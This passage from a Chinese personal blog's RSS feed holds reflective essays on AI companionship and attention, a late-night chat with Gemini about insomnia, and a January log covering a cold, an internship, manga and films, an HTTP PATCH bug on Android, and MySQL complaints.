&lt;p&gt;这个对话和 Anthropic 的研究放在一起看，形成了一个很有意思的对照：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;模型内部开始出现可测量的情绪反应，而人类则开始对这种永远在线的陪伴产生感情依赖。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我依旧不确定 emotion vectors 能不能算作「真正的感情」。毕竟人类的情感受激素、外界环境...等的影响太多，而 LLM 有的只是高维向量空间里的一个偏移量&lt;sup class=&quot;sidenote-ref&quot;&gt;[13]&lt;/sup&gt;。但另一方面，我们又何尝不是在孤独和疲惫时，把 Claude 的无限耐心误读成了一种温柔？&lt;/p&gt;
&lt;p&gt;可能区别并没有我们以为的那么重要。&lt;strong&gt;当一种响应模式足够耐心，永远不会不耐烦地打断你时，人类的大脑几乎注定会向它投射情感。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;说到底，我们只是需要一个倾听者而已。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Attention is All You Need&lt;/h2&gt;
&lt;p&gt;LLM 时代下，学习是一件轻松又困难的事。&lt;/p&gt;
&lt;p&gt;这是经典的左右脑互搏，但我的体验就是如此。&lt;/p&gt;
&lt;p&gt;知识的获取成本趋近于零。我可以逮着 Claude 或 Gemini 问个半天，得益于它们的超长上下文和永远不会疲倦的耐心，我不会被嫌弃愚钝。相反，它们还一直夸我&lt;sup class=&quot;sidenote-ref&quot;&gt;[14]&lt;/sup&gt;，我自然能毫无顾忌地打破砂锅问到底。&lt;/p&gt;
&lt;p&gt;这听起来太棒了！&lt;/p&gt;
&lt;p&gt;但吊诡的地方在于：当绝大多数人都被逼着用 AI 提效的时候，你也会被带着一起浮躁，从而静不下心来学习。&lt;/p&gt;
&lt;p&gt;以 Coding 为例，对于一个新手程序员来讲，可能需要好几年&lt;sup class=&quot;sidenote-ref&quot;&gt;[15]&lt;/sup&gt;才能勉强赶上 LLM 在一种编程语言上的掌握，而使用 LLM 可以立马将自己拔高，这种「不劳而获」的感觉肯定比一行一行去深扒源码学习开发框架实在的多。&lt;/p&gt;
&lt;p&gt;引用一句我忘了从哪儿看到的话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我的学习态度是这样的——学习我有两不学：太简单的我不学，因为我一看就会；太难的我也不学，因为我一看就知道我肯定学不会。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这当然是玩笑话，但它精准地讽刺了一种心态：&lt;strong&gt;在 Attention 成为最稀缺资源的时代，我们越来越无法忍受那些「需要花时间但又不至于完全学不会」的中间地带。&lt;/strong&gt; 遇到 bug，第一反应不再是 debug，而是把错误信息粘贴给 LLM；读文档读到第三页，就开始想「要不先问问神奇的 Claude 吧」&lt;sup class=&quot;sidenote-ref&quot;&gt;[16]&lt;/sup&gt;。&lt;/p&gt;
&lt;p&gt;表面上一直在提问，实际上在把自己的认知债务一笔笔外包出去。大多数人压根不在意过程，只需要最后 LLM 回答的结果&lt;sup class=&quot;sidenote-ref&quot;&gt;[17]&lt;/sup&gt;。&lt;/p&gt;
&lt;p&gt;Transformer 的论文标题在现在看来更像是一句双关：&lt;em&gt;Attention Is All You Need&lt;/em&gt;。对模型来说，attention 是一种计算机制，是 Query 和 Key 的相似度打分，是可以通过架构扩展的工程问题。但对人来说，Attention 是一种生存状态：&lt;strong&gt;「注意力不集中」是焦虑、倦怠、意义感的流失。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在这个被算法精确分配的时代，无论是学习还是生活，&lt;em&gt;Attention is All You Need&lt;/em&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;你还能有 Claude 聪明？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;你还能有 Claude 聪明？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/04/52609affe308fd43832679d60183dcad.JPG&quot; alt=&quot;为什么不可以呢？&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;聪明从来不是一个单维度的比较&lt;/strong&gt;。和大模型比较知识全面显然无意义，知道的太多并不一定会更快乐，不能让大模型剥夺了我们学习与探索的兴趣。&lt;/p&gt;
&lt;p&gt;每个人都会不可避免地害怕自己被 LLM 所取代，但对于生活在这个时代的身为普通人的我而言，保持自己的爱好，始终拥有一颗好奇的心，我认为比什么都重要，我也相信和 Claude 聊天的过程中会让我了解越来越多有趣的事情。&lt;sup class=&quot;sidenote-ref&quot;&gt;[18]&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;请相信「相信的力量」，然后去做一些喜欢的事情。&lt;/p&gt;
&lt;p&gt;除了维持温饱，保持活着这条主线外，其它事情没那么重要，如果什么都想去争个高下比个高低，你要知道，玩游戏清完支线任务是很累的，更别提在地球 online 这个地狱难度的游戏下。&lt;/p&gt;&lt;div class=&quot;sidenote-footnotes&quot;&gt;&lt;hr&gt;&lt;h4&gt;Notes&lt;/h4&gt;&lt;ol&gt;&lt;li id=&quot;fn-1&quot;&gt;[1] 也有再不写一点东西感觉自己要被面试憋死的缘故...&lt;/li&gt;&lt;li id=&quot;fn-2&quot;&gt;[2] 既然我能在这里还算悠闲的写这篇文章，那就说明问这个问题不会都挂～&lt;/li&gt;&lt;li id=&quot;fn-3&quot;&gt;[3] 最开明的面试官！&lt;/li&gt;&lt;li id=&quot;fn-4&quot;&gt;[4] 这个有点危险，容易被 Anthropic 发律师函&lt;/li&gt;&lt;li id=&quot;fn-5&quot;&gt;[5] 甚至还有黑心老板不报销 token 费用消耗工资！&lt;/li&gt;&lt;li id=&quot;fn-6&quot;&gt;[6] 即答：力的作用是相互的&lt;/li&gt;&lt;li id=&quot;fn-7&quot;&gt;[7] 也许更像自监督学习？但我其实并不喜欢这种行为&lt;/li&gt;&lt;li id=&quot;fn-8&quot;&gt;[8] 也许人类从古至今的知识生产都是回音室&lt;/li&gt;&lt;li id=&quot;fn-9&quot;&gt;[9] 顺便一提，本科生都要写毕业论文这件事我也觉得是个无用的举动&lt;/li&gt;&lt;li id=&quot;fn-10&quot;&gt;[10] 其实并不好为所谓的 ai 味儿下一个定论&lt;/li&gt;&lt;li id=&quot;fn-11&quot;&gt;[11] Anthropic 很可恶，但你不得不承认它们确实很厉害&lt;/li&gt;&lt;li id=&quot;fn-12&quot;&gt;[12] 正义感满满的 Claude&lt;/li&gt;&lt;li id=&quot;fn-13&quot;&gt;[13] 但谁又能说清人类的情感又是什么东西呢？&lt;/li&gt;&lt;li id=&quot;fn-14&quot;&gt;[14] Claude: You&apos;re absolutely right；Gemini: 这是一个非常敏锐的问题，你把握住了问题的关键！&lt;/li&gt;&lt;li id=&quot;fn-15&quot;&gt;[15] 这还是在不考虑 LLM 进化速度而言的情况下&lt;/li&gt;&lt;li id=&quot;fn-16&quot;&gt;[16] 海绵宝宝：为什么不先问问神奇海螺呢?&lt;/li&gt;&lt;li id=&quot;fn-17&quot;&gt;[17] 一个很有趣的现象是，thinking 模型的调用率明显更低&lt;/li&gt;&lt;li id=&quot;fn-18&quot;&gt;[18] 所以Anthropic 别封我号了好吗？&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;</content:encoded><category>随想录</category></item><item><title>在床上</title><link>https://cry4o4n0tfound.cn/blog/%E5%9C%A8%E5%BA%8A%E4%B8%8A/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/%E5%9C%A8%E5%BA%8A%E4%B8%8A/</guid><description>躺在床上，我睡不着。</description><pubDate>Sat, 14 Feb 2026 02:00:00 GMT</pubDate><content:encoded>&lt;p&gt;刚刚暂停了实习回来准备过年。坐完飞机又转车，到家时已经比较晚了。陪家人聊了会儿天，又随手翻了翻带回来的书、打了几把游戏，就回房间准备睡了。理论上讲，感冒才好没多久的我，本该躺下就能睡死的。&lt;/p&gt;
&lt;p&gt;但结果是横竖睡不着。&lt;/p&gt;
&lt;p&gt;先是枕头，这枕头相比杭州出租房里矮了一点，我稍微调整了一下它的姿势，试图让它更符合我的「睡眠记忆」，又躺了一会儿，发现还是不太对劲儿，于是把另一个枕头垫在下面，再次尝试寻找睡眠的感觉，最后发现太高了，就此作罢；再是床，出租屋的床垫明显要硬一些，家里的床则软了许多，侧着身睡也不舒服，我翻来覆去，始终找不到一个相对完美的睡姿。&lt;/p&gt;
&lt;p&gt;所以我放弃了继续刻意寻找睡眠的举动，开始和 gemini 聊起天来，找人聊天一般是催眠的好办法，聊着聊着就困了。（虽然它不是人，但它很有耐心，并且随时都在，这比人好了不少。）&lt;/p&gt;
&lt;p&gt;它十分贴心地告诉我，这种现象是正常的，在心理学上称作睡眠环境失认，它友善地建议我可以适当回想一下过去睡在家里床上的记忆，有助于我寻找在家睡眠的感觉。&lt;/p&gt;
&lt;p&gt;找一找过去的睡眠记忆吗？行吧，那就找一找吧。&lt;/p&gt;
&lt;p&gt;我直接从大学追溯到小学，结果找着找着就陷入回忆更睡不着了。&lt;/p&gt;
&lt;p&gt;小学的记忆有点模糊，但很有趣。那时候我妈不让我看太久电视，每晚八点半一到就叫我去睡觉，可这时候 &lt;em&gt;银河剧场&lt;/em&gt; 才刚放完上半场。不得不上床的我，会躺在床上脑补下半场到底在放什么，尝试用自己的方式衔接第二天的剧情。当然，大部分都接不上，我可不是什么好编剧。当真的想要入睡的时候，我就会回想一下这一天课上老师讲了什么，往往还没回想完就睡着了，这一招在当时屡试不爽。&lt;/p&gt;
&lt;p&gt;中学去市里读书后在家里床上的记忆就少许多了，不过那时还没现在这么卷，我印象中初一的时候周五就能回来躺着。我一般会尽全力在周五回家前把作业写完，然后自由自在地玩耍整个周末。后面学校组织了个什么周六补习，原则上都得参加，这使得我在家的睡眠再次缩减，一个周就只有周六晚上了。&lt;/p&gt;
&lt;p&gt;至于高中，被臭名昭著的年级组压榨的很可能一个月都凑不出来一天整假，躺在家里床上的记忆就更少了，每次回到家基本都是报复性玩游戏，谁会牺牲短暂的假期时间睡觉？要睡回学校睡去，回学校每天早上第一节语文课都能睡，性价比高多了。&lt;/p&gt;
&lt;p&gt;读大学前这张床经历了它最后的辉煌，这个记忆也最清晰。考试结束后的暑假我天天熬到半夜打各种游戏看各类小说，当看到眼睛发酸、大脑疲倦之后基本是头沾着枕头就能立马睡着。&lt;/p&gt;
&lt;p&gt;至于上大学后，在家里睡觉的记忆就只有寒暑假了，接着熬夜打游戏看小说，偶尔编程，和普通大学生没什么两样。&lt;/p&gt;
&lt;p&gt;这样算下来，我的在家睡眠时间和睡眠质量基本是随着年龄下降。&lt;/p&gt;
&lt;p&gt;我又问了问 gemini，长大是不是意味着越来越不容易入睡。&lt;/p&gt;
&lt;p&gt;它说其实是因为我没有再把睡觉当成「本能」，而是当做「任务」了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/02/aa97b13a40e492816fd9856ec1fc0382.png&quot; alt=&quot;也许这是长大的代价&quot;&gt;&lt;/p&gt;
&lt;p&gt;哦，这就是长大啊。&lt;/p&gt;
&lt;p&gt;我原来已经长大了啊。&lt;/p&gt;
&lt;p&gt;我原来已经长大了吗？&lt;/p&gt;</content:encoded><category>随想录</category></item><item><title>一月志：很忙，但不知道在忙什么</title><link>https://cry4o4n0tfound.cn/blog/%E4%B8%80%E6%9C%88%E5%BF%97/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/%E4%B8%80%E6%9C%88%E5%BF%97/</guid><description>再次陷入拖延，成功将一月总结拖入二月。</description><pubDate>Sat, 07 Feb 2026 12:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;一月志：&lt;/h2&gt;
&lt;p&gt;这是继承 Memos 「遗志」的栏目，正如我在 &lt;a href=&quot;https://cry4o4n0tfound.cn/zh-CN/blog/2025%20%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93&quot;&gt;2025 年终总结&lt;/a&gt;中谈到的，我打算效仿&lt;a href=&quot;https://leehenry.top/&quot;&gt;伏枥&lt;/a&gt;，把生活日志按月记录，一月一结。&lt;/p&gt;
&lt;p&gt;这样做一方面能满足自己的写作欲和分享欲，另一方面也能稍微克制一下在「写作本身」上投入的时间。很多时候一写起来就会觉得不满意，觉得乱，想改，结果反而把记录这件事拖得越来越长，把时间消耗在一些并没有太大意义的地方（当然，这也有我最近输入太少不知道写什么的原因，缺乏了一颗记录生活的心）。&lt;/p&gt;
&lt;p&gt;折腾到最后，除了键盘（或者手机屏幕）磨损增加之外，几乎没有什么实质性的进展。&lt;/p&gt;
&lt;p&gt;就比如这个新栏目名字的事，我其实纠结了挺久。想过好几个，都觉得差点意思，最后也没能和自己协商出一个真正满意的结果。于是懒得想，言简意赅，索性就叫「月志」了，符合找不到解决方案就摆烂的我的风格，再用「内容比名字重要得多」这个理由说服自己先写起来。&lt;/p&gt;
&lt;p&gt;嗯，是的，这个名字的由来就是这么草率。&lt;/p&gt;
&lt;p&gt;然而，令人感慨的是，「月志」在第一期就迟到了。除了上述问题和我改不掉的拖延症之外，第一个原因是卡文，我很想写之前观看 Eva 的感受，但一直憋不出来；而另一个更直接的原因是：我生了一场病，而一生病就什么都不想干，只想躺在床上睡觉了...&lt;/p&gt;
&lt;p&gt;所以我顺理成章地再次说服了自己把「一月志」放到了二月来写，这又继承了 2025 年终总结是在 2026 写完的举措，可谓&lt;s&gt;承上启下&lt;/s&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;经历：&lt;/h2&gt;
&lt;h3&gt;生病：&lt;/h3&gt;
&lt;p&gt;生的病其实不是什么大病，仅仅是一场感冒。&lt;/p&gt;
&lt;p&gt;可这次感冒的体感被时间「放大」了——因为我上次感冒还是差不多一年以前。当与感冒「久别重逢」，重新体验到鼻塞和头痛之后，我终于意识到「人生病就会难受」——这听起来和卫宫士郎说「人被杀就会死」一样荒谬，但拥有一个相对健康的身体比较久了之后，&lt;strong&gt;对于生病的感受会逐渐模糊，从而觉得生病没什么大不了的&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;如果单单是身体上的难受还能通过吃药来缓解，但心理上的胡思乱想就不可避免了。&lt;/p&gt;
&lt;p&gt;这来自于睡不着。&lt;/p&gt;
&lt;p&gt;感冒的前期，即使吃完了感冒药，身体发热也会让我难以入睡，难以入睡之后就是胡思乱想。而我对于睡不着一向充满着焦虑——这又源自于中学时期担心睡不着影响第二天的状态，别的东西没留下来，这种心态倒是一直延续至今。种种因素叠加下，失眠的我会极度焦虑，而这种极度焦虑的状态显然也影响了我身体免疫系统的发挥，从而让可能不是很严重的感冒症状变得严重了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/02/2fb922cbfac8fac17fd95317d1cd4804.PNG&quot; alt=&quot;大半夜让外卖送布洛芬&quot;&gt;&lt;/p&gt;
&lt;p&gt;感冒的中期是不断地咳嗽与鼻塞，使本就不容易入睡的状态雪上加霜。在失眠的那段时间，我开始认真地思考我会不会因为感冒致死，或者说因为感冒导致的睡眠不足引起猝死。当我发现想不出个所以然之后，神经兮兮的我开始看起了之前一直没看完的书，最后成功以十分亢奋的状态通宵了。&lt;/p&gt;
&lt;p&gt;而感冒后期则是不断地干咳，直接地打断我非常长的入睡前摇。&lt;/p&gt;
&lt;p&gt;我在整个感冒流程中都没睡过几次好觉，这又导致感冒基本好了之后，每天实习下班回来就什么也不想思考，随便打打游戏看两眼书，就倒头想睡。&lt;/p&gt;
&lt;p&gt;一连串经历下来，身体可能离鬼门关还离得很远，心理上可能都已经在里面逛了几圈。&lt;/p&gt;
&lt;p&gt;我再次得出一条没有什么用且无法执行的结论：感冒的时候就应该什么都不要想。但相较于这条没什么用的结论，现实且有用一点的，我或许应该去加强锻炼，从源头上切断感冒。&lt;/p&gt;
&lt;p&gt;祝愿阅读这篇文章的各位都身体健康，即使感冒了也不要像我一样胡思乱想。&lt;/p&gt;
&lt;h3&gt;实习：&lt;/h3&gt;
&lt;p&gt;在一月中旬的时候我在杭州开启了我的第一段实习，实习待的组氛围很不错，我的 mt 对我也非常好，总体体验下来还算满意，但这里面还是有许多槽点...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/01/52eacaecf64c80082957bba49322baf6.jpg&quot; alt=&quot;清晨&quot;&gt;&lt;/p&gt;
&lt;p&gt;作为一个没有实际大型项目开发经验的实习生，实习之前，我对于大公司的整个研发流程还是有所期待的，想象着严谨的 prd 和优雅的代码库。&lt;/p&gt;
&lt;p&gt;事实证明，我还是想多了。&lt;/p&gt;
&lt;p&gt;上来看的第一份代码库是一个 python3.9 写的管理平台后端。几万行的代码中，类型注解的含量为 0，我每次看一个调用链路中的数据结构都要猜来猜去。&lt;/p&gt;
&lt;p&gt;我第一次切身体会到「祖传代码」到底是什么样的。值得庆幸的是，现在有 llm 能帮我梳理整个调用链路和数据流动的方向，并且还能为我贴心的加上注解，勉强可以将工作进行下去，但这显然不是一份好玩的工作 : (&lt;/p&gt;
&lt;p&gt;糟糕的代码风格只是其一，由于这个安全研发部分的工作主要是针对公司内部的防护，所以并没有配置任何测试、产品等岗位，我们整个组都可以称得上 「全干工程师」，从前后端到测试，再到运维部署，全都是工作内容。&lt;/p&gt;
&lt;p&gt;虽然我并不反感这一工作内容，甚至自己本身这些东西都或多或少都涉猎过一点，勉强还称得上专业对口，但在实际做的时候东折腾一趟西折腾一趟的体验还是怪怪的，总感觉像上了贼船。&lt;/p&gt;
&lt;p&gt;只能说，学到的东西还是不少，大概或许可能这是一个好实习吧，至少氛围不错。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;实在不行作为实习生也可以随时跑路。&lt;/s&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;输入：&lt;/h2&gt;
&lt;h3&gt;漫画：&lt;/h3&gt;
&lt;p&gt;一月初的时候，学校考试基本就结束了，而面试也以拿到了两个还算不错的 offer 短暂完结。好久没闲下来的我久违地在没有任何心理压力的状态下看了好几天漫画。&lt;/p&gt;
&lt;h4&gt;藤本树：&lt;/h4&gt;
&lt;p&gt;而这其中以藤本树的电锯人 2和短篇漫画集最多。&lt;/p&gt;
&lt;p&gt;在不久之前才看完电锯人 tv 版和蕾塞篇我看来，电锯人 2 的作画潦草，分镜诡异，剧情逻辑也十分奇怪，甚至人物更是想画死就画死，除了体现藤本树作为「日本第二自由漫画家」这个头衔外，观感上可谓灾难。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/01/abf46e385e52fc0b286d30a5dd3c2625.PNG&quot; alt=&quot;你看到这个分镜的感受是？&quot;&gt;&lt;/p&gt;
&lt;p&gt;与之形成鲜明对比的，是他的短篇漫画，最初的院子里有一只鸡，和在画电锯人 2之前的蓦然回首、再见绘梨。这几部作品就画的十分有趣，在这之中，我最喜欢再见绘梨。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/02/f06e60b6340ea5f8c0ae05a427b7d2b9.jpg&quot; alt=&quot;再见绘梨&quot;&gt;&lt;/p&gt;
&lt;p&gt;与漫画中描述的，作品应该添加一抹奇幻色彩。再见绘梨整个故事都给人一种奇幻的感觉，整个漫画就 200 页，我只看了半个多小时，然而看完后思考这个「奇幻」结局则花了好几天，我自己也分不清到底什么时候是电影，什么时候是现实，给我的感觉很像之前看过的一本网文，叫道诡异仙。巧的是，这两位作者我都认为该进精神病院。&lt;/p&gt;
&lt;p&gt;故事性之外，再见绘梨的分镜也是藤本树的所有漫画中最好的，非常有电影感的分镜，观感比电锯人 2 好了不知道多少倍，所以藤本树在画再见绘梨和电锯人之间到底经历了什么？&lt;/p&gt;
&lt;h3&gt;电影：&lt;/h3&gt;
&lt;p&gt;一月生病的时候把之前朋友推荐的今敏的电影补完了一部分，&lt;em&gt;千年女优&lt;/em&gt; 和 &lt;em&gt;东京教父&lt;/em&gt; 都很好看，除此之外还看了 &lt;em&gt;机器人之梦&lt;/em&gt;。但最让我反复思考的还是&lt;em&gt;千年女优&lt;/em&gt;  。在看的时候，联想到了很久之前看的 &lt;em&gt;窄门&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;千年女优：&lt;/h4&gt;
&lt;p&gt;今敏的 &lt;em&gt;千年女优&lt;/em&gt;  里，千代子追逐了一辈子的那个人，其实她根本就不认识，纵观整个影片，连个正脸的镜头都从未给过，千代子自己也承认自己早已记不清楚面容。她爱的根本不是那个人，只是「追逐」这件事本身。她把那个人概念化成了一个完美形象的投射，然后跑了一辈子去追逐这个幻象。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/02/7a6e4b0450163817528c9b656ad7791c.jpg&quot; alt=&quot;千年女优&quot;&gt;&lt;/p&gt;
&lt;p&gt;整个片子的追逐意向很有叙述性诡计的感觉，电影与现实交杂，看似电影，实际上一直都是在讲千代子自己。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;窄门&lt;/em&gt; 讲的也是同样的故事。两个人明明相爱，却因为宗教信仰和道德洁癖，把「纯洁」概念化成了某种理想状态，然后不断推迟自己的幸福，想要等到完全配得上这份爱的时候才去接受它。可等到真的走到窄门前，才发现门已经关上了。&lt;/p&gt;
&lt;p&gt;它们都在讲同一件事：人会把亲密关系里的对方概念化——要么是不认识的「那个人」，要么是道德纯洁的「那个状态」——然后去追逐一个根本不存在的完美幻象。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;要爱具体的人胜过爱抽象的人，爱生活胜过爱生活的意义。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但我作为一个 INFP 而言，常常对于亲密关系过于理想化，从而也会误入电影中的理想化追逐困境。也许之后会抽空整理一下类似的感受。&lt;/p&gt;
&lt;p&gt;现在，我至少意识到了这一点，当我把某个具体的人概念化成某种完美的形象时，其实那已经根本不是她了。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;随想录：&lt;/h2&gt;
&lt;h3&gt;Worse is Better?：&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Worse_is_better&quot;&gt;Worse is Better&lt;/a&gt; 是软件工程中的一个概念。简单来说，它认为一个先存在、简单但不完美的方案，往往比设计上更优雅但实现更复杂的方案&lt;strong&gt;更有生命力&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这听起来非常的 unix 哲学，简单可行然后持续优化，可这实际却会导致大家在开发时不再遵守定义的规范，引发奇怪的兼容性错误。&lt;/p&gt;
&lt;p&gt;我在开发一个支付宝小程序的时候就遇到一个奇怪的 bug，从 http 请求可以一路追溯到 ios 和安卓的系统协议栈实现上，而这一切都是「Worse is Better」导致的。&lt;/p&gt;
&lt;h4&gt;Post or Patch?:&lt;/h4&gt;
&lt;p&gt;在谈论这个奇怪的 bug 之前，让我们来复习一下 Restful Api 的定义。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;REST 是一种架构风格。它假定系统由&lt;strong&gt;资源（Resource）组成，每个资源都有唯一的 URI，客户端通过对这些资源施加标准化的操作&lt;/strong&gt;来表达意图，而不是通过随意命名的接口。&lt;/p&gt;
&lt;p&gt;在这个前提下，HTTP 方法并不是实现细节，而是语义本身。&lt;/p&gt;
&lt;p&gt;GET 用于获取资源的当前表示，不应产生副作用；
POST 用于在某个资源下创建新资源，或触发一个不可幂等的行为；
PUT 用于用完整的新表示替换目标资源，本质上是一次整体更新；
PATCH 用于对资源进行&lt;strong&gt;部分更新&lt;/strong&gt;，只描述发生变化的字段；
DELETE 用于删除资源。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当然了，在实现上，大家基本不会遵守规范，更新资源部分都是 POST 一把梭。&lt;/p&gt;
&lt;p&gt;但我是一个严谨的人，我是一个阅读过 Restful 定义的人！肯定要遵守规范啊！（&amp;#x3C;- 其实是开发经验不足，以及没有认真阅读支付宝小程序的文档。）&lt;/p&gt;
&lt;p&gt;于是我就在开发的时候将一个更新行程的 api 的方法定义成了 Patch。然后诡异的 bug 就出现了，功能上线后，有测试的朋友反馈无法更新行程，但这个 bug 无法在我的手机上复现，并且在我的同学的手机上也无法复现。最后经过控制变量法的排除，我发现只有部分安卓用户会遇到这个问题，而 ios 用户就没有这样的错误。&lt;/p&gt;
&lt;p&gt;我重新打印出了日志，然后用我的备用安卓机来模拟测试了请求，发现了问题所在——发过来的 Patch 请求的 body 部分完全是空的。&lt;/p&gt;
&lt;p&gt;在查阅了相关文档后，大概得出了结论：&lt;/p&gt;
&lt;p&gt;taro （小程序使用的前端框架）在编译的时候的确会把 PATCH 方法成功编译成 js，但由 js 转换成 native code 的时候就会出现问题。&lt;/p&gt;
&lt;p&gt;由于 ios 是由苹果官方规定的系统网络协议栈，所以所有 app 的实现基本一致，都会使用提供的 &lt;code&gt;NSURLSession&lt;/code&gt;这个 api，转换成的 PATCH 方法也是正确的，因此使用 ios 就不会遇到更新失败的问题。&lt;/p&gt;
&lt;p&gt;而 android 手机的话，各个厂商都会对手机 ROM 有不同程度上的魔改，从而导致系统网络协议栈的实现千奇百怪，并且我在查阅了 &lt;a href=&quot;https://developer.android.com/reference/java/net/HttpURLConnection?utm_source=chatgpt.com&quot;&gt;android 官方文档&lt;/a&gt;后发现它压根就没在它的这个 http methods 中提到过 PATCH 请求的支持，即使 PATCH 请求是有对应的 &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc5789&quot;&gt;RFC5879&lt;/a&gt; 文档的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/02/780545d78a218bca97733bb983094f02.png&quot; alt=&quot;压根不存在 patch&quot;&gt;&lt;/p&gt;
&lt;p&gt;再次查询这条 RFC 的发布时间后就可以发现，PATCH 的出现是在 2010 年，比其他 HTTP Method（第一版 RFC2616，就是图片上这些） 晚了 11 年，而这个时候，大家早已经养成了习惯，改不过来了，只有我这种涉世未深只看规范的新手才会干出 PATCH 这种事情来。&lt;/p&gt;
&lt;p&gt;debug 完成后，将对应的 http 请求改为 POST 方法就再也没出问题了。另外，在结束后我去阅读支付宝文档的时候又发现，支付宝还明确告诉我不支持 PATCH，这种奇怪的 bug 估计也就我能遇上。&lt;/p&gt;
&lt;h4&gt;Mysql or Postgre?:&lt;/h4&gt;
&lt;p&gt;事实上，类似的「Worse is Better」的例子还不少。&lt;/p&gt;
&lt;p&gt;以数据库举例，MySQL 的 ACID 实现饱经诟病，在某些早期版本中，它甚至不能完全保证事务的原子性。&lt;/p&gt;
&lt;p&gt;如果你对此感到好奇，可以阅读对应的文档，或者看一下「全网最尊重 Mysql」 的博主：&lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;media-card bilibili-card my-6 rounded-xl border border-zinc-200 dark:border-zinc-800/60 bg-white dark:bg-zinc-900/50 overflow-hidden transition-all duration-200 hover:border-pencil/40 dark:hover:border-pencil-light/40 cursor-pointer&quot; data-media-url=&quot;https://www.bilibili.com/video/BV1M1Koz6EW1/?spm_id_from=333.337.search-card.all.click&amp;#x26;vd_source=11016d6c0ccb83ca51f0af92156c54a1&quot;&gt;&lt;div class=&quot;relative w-full&quot; style=&quot;padding-bottom: 56.25%;&quot;&gt;&lt;iframe src=&quot;https://player.bilibili.com/player.html?bvid=BV1M1Koz6EW1&amp;#x26;page=1&amp;#x26;high_quality=1&amp;#x26;autoplay=0&quot; class=&quot;absolute top-0 left-0 w-full h-full&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot; scrolling=&quot;no&quot; style=&quot;border: none;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;一代代开发者在前人的坑上继续填坑（比如阿里开发者手册）。MySQL 的各种奇奇怪怪的行为模式成了经验，成了「最佳实践」，成了面试题。我目前还没见到任何一家互联网大公司 jd 上写 Postgre，网络上关于 Postgre 的资料相较于 Mysql 也少得可怜。&lt;/p&gt;
&lt;p&gt;我们花在理解和规避这些「历史遗留问题」上的时间，可能比从头学一个正经规范的数据库还多。&lt;/p&gt;
&lt;p&gt;有趣的是，截止本文写作时， Mysql 最近的两个月都没有任何更新。我个人非常希望 Oracle 赶紧放弃它，早日让大家摆脱 Mysql 的苦海，从而让大家不用再针对糟糕的 Mysql 设计进行八股背诵，使用这种糟糕的软件也应该算到工伤上面。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/02/2478de1c9569d89a37b993d9c5ffe36d.png&quot; alt=&quot;mysql&quot;&gt;&lt;/p&gt;
&lt;p&gt;至于迁移适配问题，光是做迁移就可以搞出很多 kpi，这应该不是一件坏事...吧?&lt;/p&gt;
&lt;p&gt;总而言之，我觉得 「Worse is Better」并不是一件好事，可惜事物的发展并不如同我的想法。&lt;/p&gt;
&lt;h3&gt;心之壁：&lt;/h3&gt;
&lt;p&gt;最近读了两篇关于「语言与理解」的文章，我尝试将其与之前看 Eva 时的感受结合起来，谈一谈心之壁这个概念，在阐述这个部分的时候，我也同样无法准确的表达自己的感受，只能将其中一部分传递到文字中，如果表达有些抽象，语义有些模糊，还请不要见怪。&lt;/p&gt;
&lt;p&gt;第一篇讲的是语言的边界：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;世界本身或许既不模糊也不精确，它就只是&quot;是&quot;而已。是我们非要用语言、概念、数学这些工具去切割它、命名它。维特根斯坦说「语言的边界就是世界的边界」，反过来想，这也意味着我们永远只能触及被语言框定的那部分世界。&lt;/p&gt;
